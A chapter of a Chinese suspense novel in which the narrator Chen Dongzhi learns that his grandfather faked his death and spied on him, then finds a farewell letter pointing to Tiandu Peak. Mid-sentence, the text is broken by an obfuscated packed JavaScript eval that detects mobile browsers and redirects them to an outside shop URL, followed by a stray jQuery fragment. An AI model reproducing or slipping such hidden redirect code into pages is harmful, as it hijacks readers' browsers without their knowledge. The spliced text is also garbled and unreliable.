我跪在谢兰英身边,手里握着那枚刻着“守正”二字的白玉盘龙佩,指尖冰凉。
她走了。和爷爷一样,和刘金水一样,和慧明一样,和那些我知道名字和不知道名字的人一样。一个接一个,像是多米诺骨牌,在某个看不见的力量推动下,依次倒下。
救护车来得太晚了。警察封锁了现场,拍照,取证,拉起了警戒线。我坐在茶馆门前的台阶上,看着红蓝相间的警灯在夜色中闪烁,看着邻居们披着外套在远处探头探脑地议论,看着谢兰英的遗体被白布覆盖着抬上担架。
赵铁军不知什么时候走到了我身边,递给我一杯热茶。我接过来,捧在手心里,没有喝。
“我们在茶馆的后墙上发现了一行字。”赵铁军说,“用血写的。”
“什么字?”
“‘下一个是你。’”
我抬起头,看着赵铁军。他的表情在警灯的映照下半明半暗,看不出是同情还是警惕。
“这是冲你来的。”他说,“凶手知道你一定会来找谢兰英。他杀了她,留下这句话,是在向你宣战。”
我知道。
沈长安虽然死了,但他的计划没有停。那个收到“计划启动”短信的人,正在按照那份名单,一个一个地清除目标。而名单的最后一个,应该就是我。
“那份名单上还有多少人活着?”我问。
“我们连夜核查了名单上的所有人。”赵铁军说,“除了刘金水、罗大昌和谢兰英,还有两个人已经确认遇害。其他人的情况还在核实中。但有一个好消息——孙老六还活着。”
“孙老六?”我猛地站起来,“他在哪儿?”
“我们在屯溪的一家小旅馆里找到了他。”赵铁军说,“他受了伤,但没有生命危险。他说有人袭击了他,他侥幸逃脱了。袭击他的人——他说他认识。”
“谁?”
“你爷爷。”
我愣住了。
“不可能。”我说,“我爷爷不会——”
“孙老六说,袭击他的人确实是陈德厚。”赵铁军打断了我,“他说他绝对不会认错。他和陈德厚认识了二十多年,对他的体型、动作、声音都非常熟悉。袭击他的人,就是陈德厚。”
我张着嘴,说不出话来。
“孙老六还说了一件事。”赵铁军看着我,眼神里带着一种复杂的审视,“他说,你爷爷和沈长安的合作,比你想象的要深得多。他们不仅仅是合作伙伴——他们是同门师兄弟。”
“同门师兄弟?”
“对。他们年轻时曾拜在同一位师父门下学习风水堪舆之术。那位师父姓姜,是一位隐世高人。你爷爷和沈长安是师兄弟中天赋最高的两个,也是最受师父器重的两个。但后来,因为某些原因,师父将他们逐出了师门。”
“什么原因?”
“孙老六也不知道。”赵铁军摇头,“他说你爷爷和沈长安从来不提这件事。但他隐约听说,和九龙玉有关。”
我握紧手里的白玉盘龙佩,指节发白。
曾祖父陈守正的玉佩,爷爷和沈长安的同门关系,谢兰英临死前那句“找到他,告诉他对不起”——所有这些碎片在我脑海中翻涌碰撞,试图拼凑出一个完整的图景,但总是差了最关键的一块。
“孙老六现在在哪儿?”我问。
“在屯溪区人民医院,有警察守着。”赵铁军说,“你想见他?”
“对。现在。”
赵铁军看了看手表:“天快亮了。走吧,我送你去。”
屯溪区人民医院的急诊病房里,孙老六躺在病床上,头上缠着绷带,左手臂打着石膏,脸色苍白。看到我进来,他挣扎着想坐起来,被赵铁军按住了。
“别动,好好躺着。”赵铁军说。
孙老六看着我,眼神里有一种说不清道不明的东西——愧疚?恐惧?还是别的什么?
“冬至,我对不起你。”他开口第一句话就是这个。
我一愣:“什么意思?”
“你爷爷……他没死。他一直和沈长安有联系。”孙老六闭上眼睛,像是下了很大的决心,“我也是最近才知道的。你爷爷让我监视你,把你的一举一动报告给他。从你离开呈坎开始,你走过的每一步,去过的每一个地方,他都了如指掌。”
我站在原地,像是被人从头浇了一盆冰水。
“所以……沈长安能每次都精准地找到我们,是因为你?”
“是我。”孙老六的声音沙哑,“你爷爷说,这样做是为了保护你。他说沈长安的人无处不在,只有让他掌握你的行踪,他才能在你遇到危险的时候及时出手相救。我信了他。”
“那你为什么现在又告诉我?”
“因为昨天晚上,来杀我的人,是你爷爷。”孙老六睁开眼睛,看着我,眼眶通红,“他要杀我灭口。如果不是我提前在房间里布置了机关,我已经死了。”
“你确定是他?”
“我确定。”孙老六说,“我和他认识二十多年,他的脚步声,他的呼吸声,他身上那股烟草和茶叶混合的气味,我闭着眼睛都能认出来。昨晚那个人,就是他。”
我后退了一步,靠在墙上。
爷爷要杀孙老六灭口。爷爷和沈长安是同门师兄弟。爷爷一直在暗中监视我的一举一动。谢兰英临死前让我找到曾祖父,说对不起——
等等。
谢兰英让我找到曾祖父?
可曾祖父已经死了几十年了。她让我找一个死人?
除非——
除非曾祖父也没有死。
这个念头像一道闪电划过我的脑海。
爷爷可以假死,沈长安可以从封印之地逃出来,为什么曾祖父就不能还活着?
“谢兰英临死前,给了我这个。”我拿出那枚白玉盘龙佩,展示给孙老六看,“她说,让我找到他,告诉他对不起。这个‘他’,应该是我曾祖父陈守正。”
孙老六盯着那枚玉佩,瞳孔骤然收缩:“这枚玉佩……我在你爷爷那里见过一模一样的。”
“我爷爷那里也有一枚?”
“对。”孙老六点头,“他非常珍视,从不离身。有一次我问他这玉佩的来历,他说是他父亲留给他的遗物。但他说这话的时候,眼神闪烁,像是在撒谎。”
我握紧玉佩,心里有了一个大胆的猜测。
爷爷和曾祖父之间,可能存在着某种不为人知的联系。甚至可能——曾祖父根本就没有死,他一直活着,只是躲在了某个不为人知的地方。
而谢兰英知道他在哪里。
但她已经死了。
线索断了。
我站在病房里,手里握着那枚玉佩,感觉自己像是站在一个巨大的迷宫中央,四周全是墙壁,找不到出口。
就在这时候,我的手机响了。
是一个陌生号码。
我接起来,对面传来一个年轻男人的声音,语
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916039|213320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气急促:“请问是陈冬至先生吗?”
“我是。”
“我是翡翠谷听涛阁的管理员。您爷爷陈德厚老先生今天早上回到听涛阁,把自己反锁在屋子里,不允许任何人靠近。我们担心他出事,但又不敢强行开门,只好打电话给您。”
爷爷回听涛阁了?
“我马上过来。”我挂了电话,转身对赵铁军说,“赵队长,麻烦你送我去翡翠谷。”
“你一个人去太危险了——”
“他是我爷爷。”我说,“如果他真的要杀我,我也想知道为什么。”
赵铁军看着我,沉默了几秒,最终叹了口气:“我送你去。但我要带人一起。”
“可以。”
警车再次启动,在清晨的薄雾中向翡翠谷驶去。天边露出了鱼肚白,晨光熹微,将群山的轮廓勾勒成淡墨色的剪影。
到达听涛阁时,天色已经大亮。管理员等在门口,一脸焦急:“陈老先生把自己锁在二楼的书房里,从早上到现在一直没有出来,也不回应我们的喊话。”
我走到楼下,抬头看向二楼的窗户。窗帘紧闭,看不到里面的情形。
“爷爷!”我喊道,“是我,冬至!你开开门!”
没有回应。
我又喊了几声,依然没有回应。
我心里升起一股不祥的预感。我退后几步,助跑起跳,抓住一楼的窗沿,翻身上了二楼的阳台。阳台的门虚掩着,我推开门,走进书房。
书房里空无一人。
书桌上放着一封信,信封上写着四个字——“冬至亲启”。
我拿起信封,拆开,抽出里面的信纸。
信纸上只有短短几行字,是爷爷的笔迹:
“冬至,当你看到这封信的时候,我已经走了。去找你曾祖父了。有些话,我本该当面跟你说,但我没有勇气。我只能用这种方式,告诉你真相。
你曾祖父没有死。他一直在黄山深处的一个地方,守着一样东西。那样东西,比九龙玉更古老,也比九龙玉更危险。沈长安真正想要的,不是九龙玉,而是那样东西。我假死,我监视你,我利用你,都是为了阻止他得到那样东西。
但现在,沈长安死了,那份名单背后的真正主使,也浮出了水面。那个人,比你想象的更强大,也更接近你。
找到你曾祖父。他会告诉你一切。
对不起。原谅我。”
信的末尾没有署名,只有一滴干涸的泪痕。
我握着信纸,站在空荡荡的书房里,晨光透过窗帘的缝隙照进来,在地板上投下一道细长的光影。
爷爷走了。
去找曾祖父了。
而他留下的最后一句话,像一根刺一样扎在我心里——
“那个人,比你想象的更强大,也更接近你。”
更接近我?
是谁?
我身边还有谁,是沈长安的同伙?
我放下信纸,目光无意中落在书桌上的一本摊开的笔记本上。笔记本上画着一幅素描——是一座山峰的轮廓,山峰的顶端有一座塔状的建筑,塔尖直指苍穹。
素描的下方,写着一行小字:
“天都峰,轩辕台。真正的封印,在这里。”
我把那页纸撕下来,折好,放进口袋。
然后我转身走出书房,走下楼梯,走到等在门口的赵铁军面前。
“赵队长,我要去一趟天都峰。”